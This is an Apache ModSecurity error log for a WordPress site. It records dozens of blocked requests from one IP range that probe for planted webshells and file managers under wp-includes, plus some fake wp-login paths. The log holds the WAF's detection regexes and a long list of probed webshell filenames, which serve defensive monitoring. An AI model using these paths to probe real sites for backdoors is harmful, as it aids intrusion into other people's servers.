[Mon Apr 13 16:19:12.516604 2026] [:error] [pid 57183:tid 57190] [client 45.130.202.72:39801] [client 45.130.202.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "adynADDO3t8R5NaxzYSzPQAAAUU"]
[Mon Apr 13 16:19:14.797303 2026] [:error] [pid 57183:tid 57190] [client 45.130.202.63:21357] [client 45.130.202.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "adynAjDO3t8R5NaxzYSzSwAAAUU"]
[Mon Apr 13 16:19:15.663915 2026] [:error] [pid 57183:tid 57203] [client 45.130.202.89:24781] [client 45.130.202.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "adynAzDO3t8R5NaxzYSzUAAAAVI"]
[Mon Apr 13 16:19:16.953459 2026] [:error] [pid 57183:tid 57208] [client 45.130.202.91:55251] [client 45.130.202.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "adynBDDO3t8R5NaxzYSzWwAAAVc"]
[Mon Apr 13 16:19:19.354536 2026] [:error] [pid 63406:tid 63421] [client 45.130.202.90:47935] [client 45.130.202.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "adynB7HZEIkQ0Zmgp5rwpwAAAMo"]
[Mon Apr 13 16:19:20.262117 2026] [proxy_fcgi:error] [pid 57183:tid 57189] [client 45.130.202.87:50187] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:19:21.015587 2026] [:error] [pid 57183:tid 57205] [client 45.130.202.87:50187] [client 45.130.202.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "adynCTDO3t8R5NaxzYSzZgAAAVQ"]
[Mon Apr 13 16:19:23.306941 2026] [proxy_fcgi:error] [pid 63311:tid 63372] [client 45.130.202.74:24781] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:19:23.802380 2026] [:error] [pid 63311:tid 63377] [client 45.130.202.74:24781] [client 45.130.202.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.74, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "adynC6HjrGN1MqBCVFnEIQAAAIY"]
[Mon Apr 13 16:19:25.091736 2026] [:error] [pid 63311:tid 63374] [client 45.130.202.74:24781] [client 45.130.202.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "adynDaHjrGN1MqBCVFnEJgAAAIM"]
[Mon Apr 13 16:19:25.853377 2026] [:error] [pid 7228:tid 7233] [client 45.130.202.91:58881] [client 45.130.202.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "adynDQEnn1dQrOSHHNVJHgAAAQM"]
[Mon Apr 13 16:19:27.495158 2026] [:error] [pid 9314:tid 9317] [client 45.130.202.71:36193] [client 45.130.202.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "adynD2_r4W8fX2GWyGSx2QAAAYE"]
[Mon Apr 13 16:19:28.790503 2026] [:error] [pid 7228:tid 7241] [client 45.130.202.109:43123] [client 45.130.202.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "adynEAEnn1dQrOSHHNVJKQAAAQs"]
[Mon Apr 13 16:19:29.296030 2026] [:error] [pid 57183:tid 57190] [client 45.130.202.103:41983] [client 45.130.202.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "adynETDO3t8R5NaxzYSzfgAAAUU"]
[Mon Apr 13 16:19:30.649097 2026] [:error] [pid 57183:tid 57193] [client 45.130.202.88:43169] [client 45.130.202.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "adynEjDO3t8R5NaxzYSziAAAAUg"]
[Mon Apr 13 16:19:31.637677 2026] [proxy_fcgi:error] [pid 63406:tid 63416] [client 45.130.202.58:54769] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:19:31.883441 2026] [:error] [pid 63406:tid 63435] [client 45.130.202.58:54769] [client 45.130.202.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "adynE7HZEIkQ0Zmgp5rwrQAAANg"]
[Mon Apr 13 16:19:32.643728 2026] [:error] [pid 9314:tid 9334] [client 45.130.202.65:47779] [client 45.130.202.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "adynFG_r4W8fX2GWyGSx4gAAAZI"]
[Mon Apr 13 16:19:33.190140 2026] [:error] [pid 63406:tid 63419] [client 45.130.202.96:30965] [client 45.130.202.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "adynFbHZEIkQ0Zmgp5rwrwAAAMg"]
[Mon Apr 13 16:19:33.692182 2026] [:error] [pid 63406:tid 63429] [client 45.130.202.54:55781] [client 45.130.202.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "adynFbHZEIkQ0Zmgp5rwsAAAANI"]
[Mon Apr 13 16:19:34.182660 2026] [:error] [pid 7228:tid 7243] [client 45.130.202.71:31469] [client 45.130.202.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "adynFgEnn1dQrOSHHNVJLgAAAQ0"]
[Mon Apr 13 16:19:34.674932 2026] [:error] [pid 7228:tid 7248] [client 45.130.202.79:49393] [client 45.130.202.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "adynFgEnn1dQrOSHHNVJMQAAARI"]
[Mon Apr 13 16:19:35.174326 2026] [:error] [pid 57183:tid 57201] [client 45.130.202.102:22997] [client 45.130.202.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "adynFzDO3t8R5NaxzYSzkwAAAVA"]
[Mon Apr 13 16:19:36.155321 2026] [:error] [pid 63311:tid 63373] [client 45.130.202.82:58875] [client 45.130.202.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "adynGKHjrGN1MqBCVFnELgAAAII"]
[Mon Apr 13 16:19:36.660441 2026] [:error] [pid 63309:tid 63324] [client 45.130.202.76:31359] [client 45.130.202.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "adynGEpIKZ10weXpf0X6BAAAAAs"]
[Mon Apr 13 16:19:37.158335 2026] [:error] [pid 63310:tid 63352] [client 45.130.202.103:21763] [client 45.130.202.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "adynGXoXpRU5ztmwPjImIwAAAEg"]
[Mon Apr 13 16:19:37.644728 2026] [:error] [pid 7228:tid 7253] [client 45.130.202.62:32339] [client 45.130.202.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "adynGQEnn1dQrOSHHNVJNQAAARc"]
[Mon Apr 13 16:19:38.140245 2026] [:error] [pid 63309:tid 63332] [client 45.130.202.60:48965] [client 45.130.202.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "adynGkpIKZ10weXpf0X6CQAAABM"]
[Mon Apr 13 16:19:38.625960 2026] [proxy_fcgi:error] [pid 9314:tid 9331] [client 45.130.202.61:60615] AH01071: Got error 'Primary script unknown'
[Mon Apr 13 16:19:39.373245 2026] [:error] [pid 9314:tid 9321] [client 45.130.202.61:60615] [client 45.130.202.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.202.61, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "adynG2_r4W8fX2GWyGSx6QAAAYU"]
[Mon Apr 13 16:19:40.619316 2026] [:error] [pid 9314:tid 9340] [client 45.130.202.61:60615] [client 45.130.202.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "adynHG_r4W8fX2GWyGSx8AAAAZg"]
[Mon Apr 13 16:19:45.137567 2026] [:error] [pid 57183:tid 57191] [client 45.130.202.73:35449] [client 45.130.202.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "adynITDO3t8R5NaxzYSzwwAAAUY"]
[Mon Apr 13 16:19:45.638667 2026] [:error] [pid 63309:tid 63334] [client 45.130.202.71:56253] [client 45.130.202.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "adynIUpIKZ10weXpf0X6DAAAABU"]
[Mon Apr 13 16:19:46.132462 2026] [:error] [pid 63311:tid 63371] [client 45.130.202.76:37365] [client 45.130.202.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "adynIqHjrGN1MqBCVFnEMgAAAIA"]
[Mon Apr 13 16:19:48.094338 2026] [:error] [pid 57183:tid 57201] [client 45.130.202.96:53391] [client 45.130.202.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "adynJDDO3t8R5NaxzYSz1AAAAVA"]
[Mon Apr 13 16:19:48.574598 2026] [:error] [pid 57183:tid 57193] [client 45.130.202.79:58029] [client 45.130.202.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "adynJDDO3t8R5NaxzYSz1gAAAUg"]
[Mon Apr 13 16:19:49.056022 2026] [:error] [pid 63406:tid 63433] [client 45.130.202.81:30543] [client 45.130.202.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "adynJbHZEIkQ0Zmgp5rwxgAAANY"]
[Mon Apr 13 16:19:50.580297 2026] [:error] [pid 63406:tid 63412] [client 45.130.202.62:52633] [client 45.130.202.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "adynJrHZEIkQ0Zmgp5rwzwAAAME"]
[Mon Apr 13 16:19:51.323390 2026] [:error] [pid 63406:tid 63421] [client 45.130.202.69:63165] [client 45.130.202.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "adynJ7HZEIkQ0Zmgp5rw0QAAAMo"]
[Mon Apr 13 16:19:53.302670 2026] [:error] [pid 7228:tid 7239] [client 45.130.202.79:36555] [client 45.130.202.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "adynKQEnn1dQrOSHHNVJOgAAAQk"]
[Mon Apr 13 16:19:58.084274 2026] [:error] [pid 63311:tid 63392] [client 45.130.202.64:50805] [client 45.130.202.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "adynLqHjrGN1MqBCVFnEQgAAAJU"]
[Mon Apr 13 16:19:58.807046 2026] [:error] [pid 63406:tid 63411] [client 45.130.202.69:27063] [client 45.130.202.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "adynLrHZEIkQ0Zmgp5rw3gAAAMA"]
[Mon Apr 13 16:20:00.806409 2026] [:error] [pid 63311:tid 63381] [client 45.130.202.105:45903] [client 45.130.202.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "adynMKHjrGN1MqBCVFnETQAAAIo"]
[Mon Apr 13 16:20:01.983742 2026] [:error] [pid 63406:tid 63417] [client 45.130.202.73:42545] [client 45.130.202.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "adynMbHZEIkQ0Zmgp5rw4wAAAMY"]
[Mon Apr 13 16:20:04.557912 2026] [:error] [pid 63406:tid 63413] [client 45.130.202.78:28825] [client 45.130.202.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "adynNLHZEIkQ0Zmgp5rw8gAAAMI"]
[Mon Apr 13 16:20:06.301313 2026] [:error] [pid 57183:tid 57194] [client 45.130.202.109:36897] [client 45.130.202.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "adynNjDO3t8R5NaxzYS0CgAAAUk"]
[Mon Apr 13 16:20:07.775789 2026] [:error] [pid 63406:tid 63429] [client 45.130.202.106:39513] [client 45.130.202.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "adynN7HZEIkQ0Zmgp5rxBgAAANI"]
[Mon Apr 13 16:20:09.058384 2026] [:error] [pid 9314:tid 9333] [client 45.130.202.81:54655] [client 45.130.202.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "adynOW_r4W8fX2GWyGSyAAAAAZE"]
[Mon Apr 13 16:20:11.220716 2026] [:error] [pid 57183:tid 57185] [client 45.130.202.97:62335] [client 45.130.202.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "adynOzDO3t8R5NaxzYS0OAAAAUA"]
[Mon Apr 13 16:20:13.946077 2026] [:error] [pid 63309:tid 63321] [client 45.130.202.54:55535] [client 45.130.202.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "adynPUpIKZ10weXpf0X6KAAAAAg"]
[Mon Apr 13 16:20:16.131793 2026] [:error] [pid 63406:tid 63422] [client 45.130.202.65:49217] [client 45.130.202.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "adynQLHZEIkQ0Zmgp5rxUAAAAMs"]
[Mon Apr 13 16:20:17.287521 2026] [:error] [pid 63406:tid 63433] [client 45.130.202.65:38331] [client 45.130.202.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "adynQbHZEIkQ0Zmgp5rxVgAAANY"]
[Mon Apr 13 16:20:18.664001 2026] [:error] [pid 9314:tid 9334] [client 45.130.202.61:62633] [client 45.130.202.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "adynQm_r4W8fX2GWyGSyCwAAAZI"]
[Mon Apr 13 16:20:20.283686 2026] [:error] [pid 63309:tid 63326] [client 45.130.202.79:23801] [client 45.130.202.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "adynREpIKZ10weXpf0X6LgAAAA0"]
